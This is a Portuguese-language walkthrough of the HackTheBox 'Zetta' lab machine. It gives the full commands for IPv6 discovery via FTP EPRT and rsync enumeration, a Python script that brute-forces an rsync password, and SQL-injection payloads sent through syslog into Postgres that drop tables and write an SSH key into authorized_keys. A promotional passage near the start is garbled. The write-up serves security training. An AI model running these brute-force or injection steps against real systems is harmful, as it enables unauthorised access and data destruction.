Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, aprendemos o endereço do servidor IPv6 usando FXP, trabalhamos com rsync e também escrevemos a chave ssh usando injeção SQL ao processar logs no Postgres.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)Informações Organizacionais, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina possui um endereço IP 10.10.10.156, que eu adiciono ao / etc / hosts.10.10.10.156 zetta.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500
Em seguida, você precisa coletar mais informações sobre portas conhecidas. Para fazer isso, use o nmap com a opção -A.nmap -A zetta.htb -p21,22,80
Veja o que está no ftp.
Como resultado, o banner diz que podemos nos conectar via IPv6. Vamos ver o que está no servidor da web.
Observamos o FTP nativo com suporte para FXP. FXP é uma maneira de transferir arquivos entre dois servidores FTP diretamente, sem baixá-los para o seu computador. Durante uma sessão FXP, o cliente abre duas conexões FTP para dois servidores diferentes, solicitando um arquivo no primeiro servidor, indicando o endereço IP do segundo servidor no comando PORT.
Rolando um pouco, encontramos o nome de usuário e a senha do FTP. E depois de inserir as credenciais, somos informados de que há suporte para FXP.
Mas ou não há arquivos no servidor ou eles não nos são fornecidos. Mas como esse servidor suporta FXP, podemos fingir ser outro servidor, o servidor de destino iniciou uma conexão. Assim, revelaremos seu endereço IPv6 de acordo com a RFC 2428.
Isso é necessário para uma varredura adicional, pois o host pode ter serviços que aceitam apenas conexão IPv6. Então, precisamos saber o nosso endereço.
Usando tcpdump, rastrearemos o tráfego que vai para a porta 4321.
E usando o netcat nos conectamos ao ftp e especificamos as credenciais.nc zetta.htb 21
E agora enviamos a solicitação EPRT.
E observamos o endereço IPv6 do host de destino.
Agora grave-o no / etc / hosts em vez do IPv4 e verifique todas as portas usando o nmap, adicionando a opção -6.nmap -6 zetta.htb -p-
Agora, obtemos mais informações usando a opção -A.nmap -A -6 zetta.htb -p21,22,80,8730

Ponto de entrada
Rsync (sincronização remota) é um programa para sistemas do tipo UNIX que sincroniza arquivos e diretórios em dois locais, minimizando o tráfego. O Rsync pode copiar ou exibir o conteúdo de um diretório e copiar arquivos, opcionalmente usando compactação e recursão. O rsync transfere apenas alterações de arquivo, o que afeta o desempenho do programa. Vamos ver a lista de módulos.rsync -6 --list-only rsync://zetta.htb:8730/
Alguns diretórios importantes estão ausentes nesta lista. Mas o diretório etc estava disponível.rsync -6 -av rsync://zetta.htb:8730/etc/rsync*
Lemos rsyncd.conf, para este arquivo na máquina local.rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .
Há um módulo oculto no config - home_roy, que aponta para o diretório inicial do usuário roy, e é protegido por senha contra rsyncd.secrets, mas não está disponível para nós.rsync -6 rsync://zetta.htb:8730/home_roy/

DO UTILIZADOR
Quando não havia mais idéias, tive que resolver a senha. Para isso, o código Python foi escrito e uma lista de senhas dos Seclists foi usada.
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
passwords = f.read().split('\n')
for password in passwords:
s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
clear()
clear()
print(("password: " + password).ljust(30, " "), end="\r\r")
s.recvuntil("\"Cloud sync\".\n\n\n")
if b"@ERROR:" not in s.recv():
print("found!!!")
break
s.close()
clear()
Agora que sabemos a senha, vamos gerar a chave ssh e carregá-la no servidor.

E conectando-se via SSH com essa chave, pegamos o token do usuário.
RAIZ
Ao lado do token, há uma dica - uma lista de tarefas.
Vamos abri-los.todo .tudu.xml
Vamos ver todas as tarefas planejadas. O servidor usa git.
Nesse caso, os logs de eventos são salvos no banco de dados.
E também planeja alterar a senha, que no momento parece um certo tipo.
A primeira coisa que fazemos é ir para o git, porque podemos ver o histórico de mudanças na configuração. Encontre todos os diretórios .git no servidor.
Como estamos mais interessados no diário rsyslog, copio todo o repositório na máquina local.
Agora vamos ao diretório com o repositório carregado e usamos o gitk (a interface gráfica é um pouco, mas conveniente).
Vemos as credenciais, mas se as usamos, falhamos. Também no repositório, você pode ver o modelo de acordo com o qual os logs são colocados no banco de dados. Os logs são salvos no log /var/log/postgresql/postgresql-11-main.log, acessível ao grupo adm do qual somos membros.
Como estamos lidando com um banco de dados, você pode tentar a injeção. Criaremos eventos para gravação usando o logger, rastreando simultaneamente em tempo real o que entra no log (por conveniência, você pode usar o qterminal com uma janela dividida) usando o watch.watch -n 1 cat postgresql-11-main.log
E envie o evento.logger -p local7.info "'"
E ocorre um erro que indica uma possível injeção. Observando / etc / passwd, descobrimos que o usuário do serviço postgres possui o / bin / bash shell.
Assim, podemos entrar via ssh. Isso nos dará acesso ao arquivo postgres, incluindo o histórico de comandos. Vamos verificar se podemos escrever um arquivo usando injeção.logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"
Bem. Geraremos a chave ssh e gravamos a chave pública no servidor no diretório inicial do serviço de usuário do postgres: /var/lib/postgresql/.ssh/authorized_keys.
logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"
Agora vamos ao ssh.ssh -i psg_id_rsa postgres@zetta.htb
Nós olhamos para a história do postgres.
E encontramos a senha. Lembramos a regra de senha da lista de tarefas, substituímos o usuário por root e efetuamos login.
Estamos com plenos direitos!Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar uns aos outros em qualquer problema de segurança da TI e da informação.